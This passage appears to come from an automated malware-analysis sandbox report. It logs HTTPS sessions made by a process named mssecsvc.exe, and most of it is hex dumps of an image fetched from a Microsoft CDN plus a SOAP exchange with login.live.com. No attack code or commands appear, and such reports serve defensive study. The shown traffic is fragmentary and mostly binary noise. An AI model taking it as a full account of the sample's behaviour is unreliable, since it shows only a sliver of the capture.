b7 4f 3b fd c7 df bb ee 79 7f ec 7d 7f 8a ba 54 d6 a1 f1 76 8b 7b 16 a1 6d e5 fc 8d 6b 1d 9c 71 ff 00 a4 c9 34 7c ee 3f dc df d6 ab f8 82 4b 0f 07 d9 59 4b 7f 1d 9d c6 b1 33 af fc 4d 23 fd cc 31 cb fe d2 ff 00 b3 5c fe b3 35 8f 88 fe 21 Data Ascii: _4\|M[hz~O^>H<O[]En~Jy%5fz]o?s?~jn<;}qo3'C"_xZ;M94'Ev*S2(Wu4IiO;y}Tv{mkq4\|?KYK3M#1\5!
2022-07-21 02:34:45 UTC	5344	IN	Data Raw: 1e b6 fc ba 9a 73 73 44 e1 ae a6 b1 ba fb 46 af f6 6f b4 5a 4d f2 6a 16 fe 67 c9 1d f2 ff 00 cb 3d bf c4 95 63 c2 ba 6a 59 59 48 b2 c5 26 8f 7d a8 42 b3 fd a3 cc 4f f4 4f 9f e5 68 d7 fb ad fc 75 c8 eb 17 16 fa 56 a3 26 a5 04 92 5c c1 34 3f be b8 fb ef 03 ff 00 7f fd f1 de ba bf 00 f8 b2 1f 13 e9 d6 5a 5d ed ed bf 97 78 9f 65 49 23 d8 ef fb bf e2 e7 fd 5f f8 d7 b3 5a 13 8d 0e 68 7c 3d 7c ac 61 1f 88 ea 20 d5 ae 6c 3c 41 25 c6 9f 2e 9f 6f 75 6d b3 51 fb 64 7b fe cd bd 5f fe 5b c7 f7 be 6f 5a f2 0f 15 69 29 ac 68 a7 5c bd d7 e4 b7 d5 6e 77 4f fd 9f e5 f9 d3 49 37 de fd de 7f 86 bb cf 13 49 a8 fc 3f b7 bd d4 96 5f ed 99 ae 67 df 24 72 47 f2 48 eb f2 c7 b8 ff 00 77 fd 9a e4 5b 52 8b c7 9f e8 ba 7f 97 71 3c 36 ad bf ec f1 ec 78 df be de 3e fe ea 32 f4 e9 fe fe Data Ascii: ssDFoZMjg=cjYYH&}BOOhuV&\4?Z]xeI#_Zh\|=\|a l<A%.oumQd{_[oZi)h\nwOI7I?_g$rGHw[Rq<6x>2
2022-07-21 02:34:45 UTC	5352	IN	Data Raw: 17 12 59 ea a9 37 96 fe 64 7f c0 bf eb 17 3f de 2d 5b cf 0b 52 11 6e 3e f3 df d1 32 79 a3 22 ef c3 fb cb bf 00 cb 2d 97 99 67 71 74 92 6f fd dc 7b 13 e5 7d df 2b 37 f0 fb 55 8f 13 6b c9 ac 5f 49 3e a9 e6 5b cf 67 ba 78 2f 23 b7 ff 00 58 f2 77 ff 00 77 6d 5e b9 d3 43 cf ab 5a dd 1b 3b 84 4d b7 56 57 11 c8 9b e7 76 f9 1e 26 cf f0 9a c1 8c 5c e9 7a d1 b0 7d 3a e3 50 d3 ae 77 c1 e5 db fe fb cb ff 00 79 7f 8b 15 8c 54 2a 55 75 be d3 17 e4 68 7c 3b fb 1d b4 ba e6 9f 6f ff 00 13 0b 59 1e 2d 97 12 5c 6f 9a 7d bf 3f fe 39 49 ac 46 f6 e2 3b 4d 6a 2b cb 79 d2 d6 5f f4 7b 79 3e 44 f3 df 7a b4 8f fe c2 ff 00 0d 61 f8 76 18 6e 3c 53 6d fb bf b3 cf 25 d7 c9 e5 ec d8 fb 7e f7 fb bb bf 86 bd cf c7 9a f5 94 da d4 70 e8 16 56 fa 75 8d e5 97 fa 54 77 31 fc f2 4b bf 68 ae 7c Data Ascii: Y7d?-[Rn>2y"-gqto{}+7Uk_I>[gx/#Xwwm^CZ;MVWv&\z}:PwyT*Uuh\|;oY-\o}?9IF;Mj+y_{y>Dzavn<Sm%~pVuTw1Kh\|
2022-07-21 02:34:45 UTC	5368	IN	Data Raw: f7 fc 55 d2 78 8e 14 4f ed 27 bb b6 8f fb 46 d9 3f e3 e3 cb f9 20 9b f8 ab 0b c2 69 35 b5 cc b7 ba 67 97 79 75 34 0a 9a 85 bf dc 44 f2 d3 76 e3 df 87 ae 18 d7 e7 c2 72 47 47 1b 7a 77 36 8c 7d e3 63 c7 df db 77 9a 6c 48 df e9 96 36 5b 9f cc 8f 7f 9d f7 c5 73 96 be 3f bc f0 5d f4 97 f7 be 67 91 7b fb bb af 2f fe 5a 44 df 7a 5f ff 00 55 6d fd aa fe ce df ec 1a bc 72 5e c0 ee d3 cd e5 c9 fc 0d fc 49 50 5c 36 95 ab 5b ff 00 a1 cb 1c 9e 4e 9f 3f ef 3e ff 00 cf 1b ee 89 3e 6f e2 35 95 0e 55 0f 67 52 2a 51 ee 82 52 f7 8d 8d 7b 56 d3 7c 51 aa 5b 7d 8a e6 39 3c 39 a7 c3 f6 e4 b3 d4 a3 d8 89 33 7c 88 10 af dd 4d bd 45 42 9e 2d f2 74 9b db 5b 09 2c ed ee a1 ba 54 9a f2 db ee 7c cf f7 57 ea bd ba 56 17 87 20 4d 6a 4b 9d 50 45 25 9c 09 0a cf 34 72 7c 9e 46 ee 9f ef fc Data Ascii: UxO'F? i5gyu4DvrGGzw6}cwlH6[s?]g{/ZDz_Umr^IP\6[N?>>o5UgR*QR{V\|Q[}9<93\|MEB-t[,T\|WV MjKPE%4r\|F
2022-07-21 02:34:45 UTC	5384	IN	Data Raw: 8b 2e 6f 7c 8b 28 ec de c9 17 ed b2 47 26 f8 64 48 fe e4 8a b5 d9 78 92 67 b9 b6 8f 54 b5 8e 39 36 59 6f 79 2d e4 d9 e7 ca df 7b 77 d6 ab f8 cb c3 97 7f 68 d0 35 fb 29 3e cf e4 a2 41 7b e5 ff 00 1e e7 ff 00 d0 7e b5 56 db 5d 48 ed f5 6d 22 e2 28 e4 99 27 97 c9 8f e7 4f 2d e3 7d cb e5 ff 00 b3 f3 ae e5 a9 9c a3 88 e5 ad 4b 65 d3 b7 70 fe ec 8b 5e 1f d4 6c f5 4f 0f fd 96 e3 cc d3 af 91 16 e9 fe cf 1f c9 1b c9 ff 00 2c 93 fd aa b1 a9 7f 68 ad 8c 7a 3d bc b6 77 9a 6a 27 9f f6 8b 8d 9f e8 29 f5 fe 36 15 15 fd bb f8 9b 4d b6 51 65 25 9f ee 37 cd f6 2d 89 e7 dd ab fc 8d b8 f1 45 e4 96 cb e0 a9 2e 22 d4 6e 3f d1 b6 c1 7b 71 25 bf cf bd 9f b5 72 fb bc fc cb ac b6 de c6 b2 f7 4e 1d 6d ac e1 8e 5d 56 2f b4 7f 69 6c fd fd bd ec 9f 3c ff 00 ee ff 00 77 1e f5 d1 e8 9a Data Ascii: .o\|(G&dHxgT96Yoy-{wh5)>A{~V]Hm"('O-}Kep^lO,hz=wj')6MQe%7-E."n?{q%rNm]V/il<w
2022-07-21 02:34:45 UTC	5392	IN	Data Raw: 46 7e b5 e2 c9 96 58 ad 3c d9 24 df 03 5d 7f a1 49 bf cb 45 fb d1 31 7e 2a 0b 1b 4b 7b 38 fc 39 6f 6d fb cd 8e d3 fd fd e8 f6 f2 26 65 66 6f e3 6f bb 8a b1 ae 5a cd 63 a7 6a d7 0d e5 f9 9a 7a 2c 13 69 f2 47 b3 c8 f9 fe 66 cf f1 2b d4 ab a3 e9 d7 fa 68 d4 ec b5 e8 ec e7 d4 8b cf fd 87 1c 68 8f a4 af fc f4 56 fe e9 6a f4 61 c9 0a 6b 97 45 fa db fe 09 9c 79 b9 98 ef 01 f8 da 6b 8b 8b ab 2b 88 e3 f9 21 96 0f 32 4f 93 fd 9f a3 66 b6 fe c3 6f 71 e1 3b eb 0b 78 e4 8e c6 1b a4 82 78 fc cd fe 7a 7f b2 2b cc 6e 75 ab 9f 0d df 47 69 7f 6d 71 6f 62 f3 af fa 47 df 4d eb 9d ae af fe dd 7a 5e b5 6d f6 a9 22 b8 b2 ff 00 96 c8 a8 9f 62 8f 66 c7 e3 86 ff 00 68 d7 2e 2e 8a a3 52 32 8e 8a 5a ae da 1a 46 5f cc 71 be 24 4b 95 be b9 95 2e 64 fe ce 87 64 1e 64 91 a6 ff 00 25 7e Data Ascii: F~X<$]IE1~*K{89om&efooZcjz,iGf+hhVjakEyk+!2Ofoq;xxz+nuGimqobGMz^m"bfh..R2ZF_q$K.ddd%~
2022-07-21 02:34:45 UTC	5408	IN	Data Raw: 23 c4 e9 67 fc 71 fc fe 95 4b 4b be bf b7 d2 af 67 b2 8e 3d 42 0b 3f 35 d2 de de 34 fe 1f 95 5d 87 f7 6b 4e de 14 fb 55 b5 de ab 1c 7f 6e 9a d7 cf 79 2d a3 d8 fb db ef 6e ef 5c d5 21 18 d4 94 e5 da ca db e8 58 6a 10 a7 97 12 a4 51 c9 1e f6 fb 4d e4 71 ec fe 0f e1 5f 6a e9 6c 6e 61 b4 f0 be cb 8f 32 49 f6 7c 92 7f cf 48 5b f8 9b fd 9a af a1 69 77 11 68 9f 62 f3 6d ee 37 cc d2 3c 7e 67 dc ee 9c f5 fb b4 cd 16 58 7c bf 26 eb cb b7 8d d3 e7 93 cc 7f e1 7f f6 bf 87 f8 6b cc ab 25 38 f2 ff 00 2b 37 8f bb 22 dd e3 db db dc 7d 9f ec df 6d 9e 18 7c b8 3e cd f3 f9 6a dd 3f de f9 ff 00 82 b8 0f 12 34 c9 1e 9c b0 de c9 22 7c bf e9 1e 5e c9 9e 65 7e 8b b7 fd a5 f9 bd ab bd d6 af 13 48 b8 bd 79 63 f3 11 e0 89 ec a3 fe fc ca 9f 71 3f dd fb d9 ae 7f c1 b7 1f 64 96 5b 1d Data Ascii: #gqKKg=B?54]kNUny-n\!XjQMq_jlna2I\|H[iwhbm7<~gX\|&k%8+7"}m\|>j?4"\|^e~Hycq?d[
2022-07-21 02:34:45 UTC	5424	IN	Data Raw: ba d5 a7 e3 0d 4d e1 d1 7c 3f 64 f6 51 c7 f6 57 b8 7f b4 5b c9 e4 cd 26 ef fc 75 fe 6e b5 d7 16 f9 d5 b6 97 4f 44 2f 77 95 f3 6e 8c 5b eb f9 ac 35 6d 25 6f 6f 6d ec e0 87 66 fb 39 3f bf bf 6a 71 fd ef e3 ad cf 0c a5 ce ad 7d f6 ab 79 6d e3 49 bf d2 9f cb ff 00 96 6f b3 d2 a8 f8 cb 4d d3 2f 7c 37 a2 e9 37 12 49 26 b9 73 3b 4f a8 5e 49 1e f8 64 46 4f e1 ff 00 0a 8f 44 b3 4f 0c db 49 2e 95 2c 92 48 88 ae 91 c7 6e 9b 23 dd f7 f6 ff 00 f5 ea aa 28 d4 a1 ee bb 4b 6d b4 1c 3d d9 1a 5a ee 9b 37 8b 2f 63 b7 59 2d ed f5 58 66 5d 9e 67 ce 93 ee f9 b6 fe 15 56 6b 39 b4 db cf 36 e2 3f b4 58 dd 42 b0 4f e5 fc 9e 67 cf 86 ff 00 c7 eb 5f 58 93 fd 0b ed b6 ff 00 eb de 0f 31 ee 23 8f ff 00 1d ac 59 3c ed 7b 4e f2 ac a5 f2 ed 6e 76 ba 7e f3 fd 5e ef 9b a3 7f 15 61 4a 72 e5 Data Ascii: M\|?dQW[&unOD/wn[5m%oomf9?jq}ymIoM/\|77I&s;O^IdFODOI.,Hn#(Km=Z7/cY-Xf]gVk96?XBOg_X1#Y<{Nnv~^aJr
2022-07-21 02:34:45 UTC	5431	IN	Data Raw: bc d8 fb e4 ff 00 7b d6 b9 28 54 e4 8c bc fb 97 2a 7c c5 4d 0a e6 db 41 92 f5 ee a3 fb 64 ee 8b 1b dc 49 b3 c9 bb 7f f6 7f da ac bf 26 e3 55 d3 be cf 69 7b 6f 6f a8 cd 3a 5d 25 bf f7 3f e9 9b 7d 2b 3d 2c 7e d3 e2 cf b1 5d e9 31 c7 6b 73 0e f7 8e 49 36 6c 9a 3f ba d5 b1 a7 e9 b7 9a c5 8d 95 e6 95 6f 6f a8 5d 5b 4c a9 0f f7 fe 67 f9 b7 f7 5c 57 a5 28 c6 9b f6 97 d5 db 5e 86 71 e6 97 bb d8 df f0 cc 3f 6c be 8a de f6 da 38 fe d9 75 e6 7d a3 cb ff 00 5e f1 a7 cc 3f 1a 2a a7 88 f4 df ed ad 5a da e2 29 2e 34 6d 56 1f de 25 bc 9f ea 64 9b ee ff 00 e8 54 57 97 3a 10 ad 69 ba 9c af b1 df 19 72 ab 72 9c 00 92 f2 de c6 f6 df c3 56 57 17 16 96 7f bf 9a 4f 2d fc 98 37 75 f9 bf bc 6b 3f e2 3f 80 a6 d3 34 9f 0b f8 d3 50 ff 00 47 b2 d4 21 67 9a 4f 31 26 7d 8c bd e8 d2 fc Data Ascii: {(T\|MAdI&Ui{oo:]%?}+=,~]1ksI6l?oo][Lg\W(^q?l8u}^?Z).4mV%dTW:irrVWO-7uk??4PG!gO1&}
2022-07-21 02:34:45 UTC	5447	IN	Data Raw: 5c c6 b6 ba 97 9a 8d d4 56 a9 1d be bb 63 36 e4 7f 33 e4 ff 00 48 d9 bb fe 03 56 ec 52 e3 55 f0 86 9a c9 ff 00 13 49 e1 7f 2d 2d ff 00 82 0f fe 2b 15 67 47 d2 d0 ff 00 a3 d9 45 24 97 73 6d ff 00 59 22 7c ff 00 8d 73 ba 6c d3 78 67 51 fe d2 bd fd e5 8b ee 4f b4 5b fd fd fb fb ad 60 9f 3c 79 21 bc 76 f3 01 97 de 30 b0 b0 d1 6e 2c ad f4 d9 34 fd 89 e4 3f fb 9f c5 35 77 1a 0d d5 be bd a0 79 af f7 ec d2 28 2d 7c c9 3e 7f 97 f8 bf de af 32 d2 75 2f 3b c6 1a 92 2d b5 c7 f6 53 a3 79 d1 c7 f7 df 77 f7 6b bd d2 2c f4 88 6d f6 69 bf bb b5 77 ff 00 4a 8e 4f e3 f9 29 e3 69 c6 10 b2 4e fb df 70 89 62 f3 57 9a ce d6 e5 6c 22 8f 7e 9a 9f e9 56 f7 31 fd fd df 75 96 a0 f0 dc da 77 8d e3 fe c3 d5 fe cf 15 da 3e ff 00 b1 f9 7e 4f c9 fd e7 ff 00 66 93 52 d3 6c 6f b4 5b 9b 94 Data Ascii: \Vc63HVRUI--+gGE$smY"\|slxgQO[`<y!v0n,4?5wy(-\|>2u/;-Sywk,miwJO)iNpbWl"~V1uw>~OfRlo[
2022-07-21 02:34:45 UTC	5463	IN	Data Raw: 24 fb 6b bb 13 4a 9e 1e 51 a9 46 fe cd f4 7d 7c fd 2e 4f bd 28 fb db 9c 95 9f 83 4d 8f c3 59 22 b8 97 ed 08 93 b5 f3 f9 7f 7d eb 1f c4 13 5c 69 76 5a 75 af fc 7e 25 ae cd fa 85 bc 7b d2 34 64 fb bf 2f a5 76 76 72 5a 78 c1 65 93 4c b9 b8 37 d7 96 ce 9f 67 ff 00 9e 15 9d 6d a4 3f 85 7c 2f a9 3c 52 49 f6 e8 61 f9 3e c5 27 c9 03 af cb f3 2b 55 d3 ae f9 9a ab f1 5f 6d b7 22 31 89 23 5f 49 e2 0d 07 48 d4 8c 91 f9 f7 33 2e cd 42 39 37 be c5 f9 7c b7 53 fc 42 93 5e d3 6e 74 bd 5b 7e 95 25 bd 9c 09 3c 53 fd 9f cc 4d f2 3a ff 00 b3 ef 5c 87 80 f5 0d 4b 57 d1 bf b3 ff 00 e3 de 67 76 ba 82 48 e4 4f de 5c 6f e3 fd da eb 7c 47 9b c9 34 9b 19 6c a4 b8 f1 1d b7 dc b7 d3 b6 7d ce e5 eb 4a 94 9d 1a fe cd 5a da e9 e4 5f 3f 31 77 4d d4 34 1d 4b c4 d6 3a 77 db a3 8e fa 6b 6f Data Ascii: $kJQF}\|.O(MY"}\ivZu~%{4d/vvrZxeL7gm?\|/<RIa>'+U_m"1#_IH3.B97\|SB^nt[~%<SM:\KWgvHO\o\|G4l}JZ_?1wM4K:wko
2022-07-21 02:34:45 UTC	5471	IN	Data Raw: 92 3b c8 26 75 83 cb 8f f8 25 ff 00 6f fb d5 77 56 58 5f 49 91 57 cc 91 2e 64 7b 5f ec fb 7f b9 fe ff 00 fd f7 5c d6 94 2b ba d1 fb 4c db 97 dd 3c ff 00 49 fb 1e 97 e3 6b 2f 2a 4b cd 3e 07 9d 76 59 c9 26 c4 f2 7f 8b f7 95 ed 1e 2c b8 d4 64 8e c6 2b a9 3f 77 79 b2 48 64 8e 3f 92 0f ee d7 15 e1 cd 16 c6 fa 5b 2b 0b cb 9b 79 2e be fb c9 71 f7 e0 db f7 7e 46 fe 75 dd 6a d7 17 36 bf d9 ba 6d c5 cd be a1 04 3b a3 7f e3 f2 ea 73 0a d1 a9 5a 1d d2 2e 31 f7 4c 2b 0d 51 ec e3 17 8f 6d fe 83 e6 79 77 5f 66 93 7a 7e ef fd 6b 6c fe f6 de f5 c7 fc 43 3a 6d 9d cf da 34 b9 63 d8 ff 00 3b c7 f7 3e 46 fb 8c 8f fe 79 af 5b d3 3c 3f e1 e9 9e fa 2d 6b ed 96 d3 c3 1f 9f a5 c9 6d bf f7 73 74 f9 b1 eb 5e 1b 26 9d 7d aa db fd 8a fe 48 ec ec 74 6d c8 91 c7 1f cf 3e e7 fb db 7f 97 Data Ascii: ;&u%owVX_IW.d{_\+L<Ik/*K>vY&,d+?wyHd?[+y.q~Fuj6m;sZ.1L+Qmyw_fz~klC:m4c;>Fy[<?-kmst^&}Htm>
2022-07-21 02:34:45 UTC	5487	IN	Data Raw: 8f 02 6c db f3 6d f9 b6 d5 4b c8 7e d9 26 9a b6 52 f9 97 d3 6d 9d ee 23 8f fe 59 7a d7 4f 33 a9 52 35 a5 b5 ac c8 97 2f 2f 29 1e 9b a9 43 1e 9f 26 a9 2e ad 25 e6 cd ce f1 c9 6f fe ad db ee ed ff 00 76 b5 26 d3 74 db 3b 1b 8b fb 8f dd c1 a8 26 f7 92 3f ef ad 79 fc 3e 2f b3 b3 f1 f4 73 dc 4b 79 e5 ef 68 13 50 f2 ff 00 72 ff 00 27 f7 2b bd f1 14 2d 17 85 ee 5f fb fe 52 41 1f 99 f2 6c ee df ec 54 62 28 ca 9d 48 6e b9 82 12 fb 47 2b ae 69 77 97 77 da 6e 97 a6 ea 5f 67 fb 66 ed f2 47 f3 a4 90 fd ed cc cd 5d 3e 9b 7f 79 aa 58 db 45 6f 14 92 26 c6 8d 3c cf be ef 1f fe 81 59 7e 1f d0 be c7 65 1e 9a f1 dc 79 f6 d0 bc 69 1d bc 9b d2 7d df ef d6 bf 83 ed ad a1 d5 a2 b5 b8 b9 b8 b3 b4 87 6c 0f fb bf 93 e6 fe 15 a5 88 9c 25 0e 5d f9 7f 1f eb 43 68 d3 90 db 3d 6a ef fb Data Ascii: lmK~&Rm#YzO3R5//)C&.%ov&t;&?y>/sKyhPr'+-_RAlTb(HnG+iwwn_gfG]>yXEo&<Y~eyi}l%]Ch=j

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	50174	40.126.31.67	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:21 UTC	57	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2022-07-21 02:34:21 UTC	57	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-21 02:34:21 UTC	60	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 21 Jul 2022 02:33:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 84458881-d989-475e-8868-6ef2354b93d6 PPServer: PPV: 30 H: BL02PF9E81813DB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 21 Jul 2022 02:34:21 GMT Connection: close Content-Length: 11296
2022-07-21 02:34:21 UTC	61	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	50547	80.67.82.211	443	C:\Windows\mssecsvc.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-21 02:34:44 UTC	216	OUT	GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-21 02:34:44 UTC	234	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pjc1?ver=a739 Last-Modified: Tue, 05 Jul 2022 21:45:59 GMT X-Source-Length: 1871414 X-Datacenter: northeu X-ActivityId: 2db28c9b-6909-4813-a9ac-c316ff1267c0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1871414 Cache-Control: public, max-age=285269 Expires: Sun, 24 Jul 2022 09:49:13 GMT Date: Thu, 21 Jul 2022 02:34:44 GMT Connection: close
2022-07-21 02:34:44 UTC	234	IN	Data Raw: ff d8 ff e1 26 b1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 31 39 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: &ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:19:328"
2022-07-21 02:34:44 UTC	266	IN	Data Raw: d6 84 e1 8e 31 94 61 2f 51 31 19 4f 0f 17 a6 27 d3 08 ff 00 ab f7 3f 7f ff 00 62 21 7d 05 b6 dc df 52 c6 bd ad f5 6a 0d ac d8 1c 77 b5 ad 03 7d 97 1a c9 db bf dc da fd fe af b3 d4 51 ea 38 86 cb 31 ae 73 80 63 1f bd f6 b0 b5 92 1c cb 2a bf 6f b7 63 5b 6d 6e ad f6 32 df d0 df e9 7f 34 a3 86 3a 7e f6 5e 1e ec 47 d6 4f a9 48 b1 ce ad e3 46 fe 9a b6 fe 91 ce c5 df fa 37 fa 74 fd 3a aa b9 4e de a5 8d f6 2b 6b c9 b2 b7 16 87 7d a2 ab 1e e6 03 5d 83 75 2f 30 db 3e 9d 6d 66 cf 47 7f fc 17 a9 75 6a 21 09 71 09 44 13 44 44 c6 bf 7f 8a 12 f5 f1 7f 57 f4 59 00 b1 7a 0f ab 99 77 57 e9 f4 7e 83 1e fa ad 7b ec 0c 8c 52 e2 d7 96 fe 92 b6 c3 b6 37 1f 7b 9b ee f4 2f b3 fc 27 ee 7a 96 65 66 55 46 6e 3d 16 74 f6 39 bb 3d 41 7f b1 94 d6 d2 5c df 51 cd fe 75 b6 55 b3 77 a4 cf Data Ascii: 1a/Q1O'?b!}Rjw}Q81sc*oc[mn24:~^GOHF7t:N+k}]u/0>mfGuj!qDDDWYzwW~{R7{/'zefUFn=t9=A\QuUw
2022-07-21 02:34:44 UTC	285	IN	Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 32 3a 35 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f Data Ascii: 07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-07-11T12:54:26-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_
2022-07-21 02:34:44 UTC	319	IN	Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 30 39 30 34 31 35 5f 48 61 6c 6c 73 74 61 74 74 41 75 73 74 72 69 61 5f 35 30 30 70 78 2d 36 39 33 38 38 36 35 35 5f 47 72 61 64 69 65 6e 74 2d 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 35 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 Data Ascii: 